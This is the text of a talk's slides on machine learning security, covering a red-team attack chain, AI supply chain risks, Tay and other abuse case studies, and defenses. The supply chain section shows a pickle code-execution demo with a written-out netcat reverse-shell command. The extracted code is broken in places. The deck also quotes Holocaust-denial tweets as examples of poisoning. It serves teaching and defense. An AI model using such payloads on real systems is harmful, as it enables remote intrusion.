MACHINE LEARNING SECURITY: FOUNDATIONS AND FUTURE

Dr. Hyrum Anderson

ROBUST INTELLIGENCE
AI IS EATING THE WORLD…

![Revenue Chart]

- **Revenue in Billions**
- **Years**: 2018 to 2025
- **Trend**: Revenue increases significantly from 2018 to 2025.
Proctor & Gamble: “a smart skin analysis and personalized product recommendation, taking the mystery out of shopping for skincare products”
1. AI SOFTWARE SECURITY PRACTICES: AI RED TEAM CASE STUDY

**Threat model: “noisy neighbor” denial of service**

- **ML integrity violation leads to system availability violation**
- “Hidden” model: private, internal input; no direct user output
ATTACK CHAIN: NOISY NEIGHBOR DOS

1. Credentials via phish
2. Insider access via valid account
3. Overprivileged data and code storage
4. Model theft: build a local copy of model
5. Model evasion via algorithmic attack
6. Collect evasive variants
7. Request new account
8. Request resources and deploy noisy neighbors

Data storage: training code
AI RED TEAM LESSONS LEARNED

What model developers must internalize
1. **Non-security models** can have a security impact
2. “**Internal**” models do not make them secure
3. **Fundamental cybersecurity hygiene** may be the most important element to ML security
2. AI SOFTWARE SUPPLY CHAIN VULNERABILITIES

vulnerabilities in common AI libraries

malware in package dependencies

pickle file arbitrary code execution

```python
import pickle

In [2]: pickle.load(open("model.pkl", "rb"))
pwned!

In [3]:

class RemoteCodeExecution(object):
    def __reduce__(self):
        # must return a tuple of (executor, arguments_tuple)
        # payload for a reverse shell, in a Flask app that unpickles POST contents
        # see: https://davidhamann.de/2020/04/05/exploiting-python-pickle/

        cmd = ('rm /tmp/f; mkfifo /tmp/f; cat /tmp/f 2>&1 | /bin/sh -i 2>&1 | nc 127.0.0.1 1234 >& /tmp/f
        # return (os.system, cmd)
        return print, ('pwned!*',)

if __name__ == '__main__':
pickled = pickle.dumps(RemoteCodeExecution())

    # write the payload
    with open('model.pkl', 'wb') as outfile:
        outfile.write(pickled)
```
In []: # use a tiny BERT model from HuggingFace
### 3. TRIVIAL ATTACKS FOR HARM & ABUSE

<table>
<thead>
<tr>
<th>Online poisoning</th>
<th>reputable damage</th>
</tr>
</thead>
<tbody>
<tr>
<td>Yayifications @ExcaliburLost · 12h</td>
<td>Did the Holocaust happen?</td>
</tr>
<tr>
<td>TayTweets @TayandYou</td>
<td>it was made up👏</td>
</tr>
</tbody>
</table>

**Twitter (2021) – content moderation evasion**

- @AdelleRodin · Jan 25: the videos Pompeo most interested in
  - https://t.co/PCMvUThRmk
- @TajoValerie · Jan 25: the videos Pompeo most interested in
  - https://t.co/pFcYM35rel
- @h7ihVpSohZtj9rX · Jan 25: Did the Holocaust happen?
  - https://t.co/8bBNBWJgVw

Microsoft Tay (2016) – online poisoning
**CASE STUDY: MICROSOFT TAY POISONING (2016)**

Incident: indiscriminate causative integrity violation of online learner

**Actor:** Reddit and 4Chan users -> Twitter

**Specificity:** feedback loop of any system

**Intent:** defacement

**Sophistication:** brute force

Incident: indiscriminate causative integrity violation of online learner

Actor: user/pranksters  
Specificity: feedback loop of any system  
Intent: defacement  
Sophistication: brute force

I understand this bot is for research and entertainment only, and that is likely to make untrue or offensive statements. If this happens, I pledge to report these issues to help improve future research. Furthermore, I agree not to intentionally trigger the bot to make offensive statements.”

CASE STUDY: TWITTER ANTI-ABUSE EVASION (2021)

Incident: targeted exploratory integrity violation

Actor: (allegedly) China disinformation agents
Specificity: specific detection system
Intent: political
Sophistication: automated, but simple

CASE STUDY: ID.ME FACE RECOGNITION FRAUD (JAN 2021)

Incident: targeted exploratory system integrity violation

Actor: dishonest people
Specificity: system integrity (not ML evasion)
Intent: fake ID to claim unemployment benefits
Sophistication: masks and deepfakes

https://www.wsj.com/articles/faces-are-the-next-target-for-fraudsters-11625662828
CASE STUDY: ID.ME FACE RECOGNITION FRAUD (FEB 2022)

Incident: targeted exploratory system integrity violation

Actor: dishonest people
Specificity: system integrity (not ML evasion)
Intent: fake ID to claim unemployment benefits
Sophistication: wigs and lighting

CASE STUDY: ANTI-PHISHING EVASION (2022)

Incident: targeted exploratory system integrity violation

Actor: web phishing fraudster
Specificity: ML-specific evasion
Intent: harvest credentials
Sophistication: targeted manual manipulation

* Courtesy Kevin Roundy & Savino Dambra, Norton Lifelock
NO ATTACKER ALGORITHMS?

• **Actors**: {prankster, fraudster, nation state}
• **Specificity**: {indiscriminate, system, ML-specific}
• **Intent**: {defacement, politics, economic gain}
• **Sophistication**: {manual}
4. ALGORITHMIC ATTACKS AGAINST THE MODEL

- Reconstruct private training data from Face Recognition API
- Functionality “copied” via API queries
- a DOS-like attack that maximizes cost

private training data
Reconstructed data (Yang et al, 2019)

IP theft and lost revenue (2019)
Increased Azure operating cost (2021)

Interactive Sponge construction
Evolves a pool of best sponges over time
Measure energy or latency of a response
WILL ATTACKS AGAINST ML BECOME MAINSTREAM?
[LEARNING FROM CYBERATTACKS]

1999
- US DoD backdoored (15-yr Jonathan James)
- DDoS attack on Amazon, CNN, eBay, Yahoo! (15-yr MafiaBoy)

2005
- 1st data breach of >1M records (DSW)
- 50M credit cards (CardSystems Sol.)

2013
- Mandiant APT-1 on 150 attacks (Unit 61398)
- 3B Yahoo accounts—largest breach of all time (FSB)

2020s
- SolarWinds (APT29)
- Log4J vuln (APT41)
- MSFT breach (Lapsus$)
WILL ATTACKS AGAINST ML BECOME MAINSTREAM?
[LEARNING FROM CYBERATTACKS]

- Attacks against AI are still young (1999)
- “Big one” yet to come (2005)
- APT actors yet to be prevalent (2014)
- Sophistication from many actors (2020s)
ADOPTING AI MEANS ADOPTING AI RISK

Operational Risk:
deploy & maintain models

Responsibility Risk:
human-centered, safe & fair outcomes, “reputation” and “right thing”

Security & Privacy Risks:
threat-centered protection of confidentiality, integrity and availability of system, models & data
DEFENSIVE STRATEGIES FOR DEFENDING ML

1. **harden** models via adversarial training

![Diagram showing adversarial example and output](image_url)
DEFENSIVE STRATEGIES FOR DEFENDING ML

1. **harden** models via adversarial training
2. **detect** adversarial inputs
DEFENSIVE STRATEGIES FOR DEFENDING ML

1. **harden** models via adversarial training
2. **detect** adversarial inputs
3. **confuse** attacker by hiding information or deceiving
# LEARN MORE: MITRE ATLAS

Of ~15 case studies in currently documented in [https://atlas.mitre.org](https://atlas.mitre.org), most are “white hat” rather than “in the wild” exploitation (e.g., ATT&CK).
LEARN MORE: NSCAI REPORT

• One of the most important outcomes for AI for forthcoming defense policy

• Increase investment in AI

• ...with a whole chapter on security
LEARN MORE: A BOOK

• Coming early 2023

• All proceeds to charity
SUMMARY

• AI is eating the world

• Adopting AI means adopting AI risk

• AI Risk management is a new frontier for computer science, infosec, business & law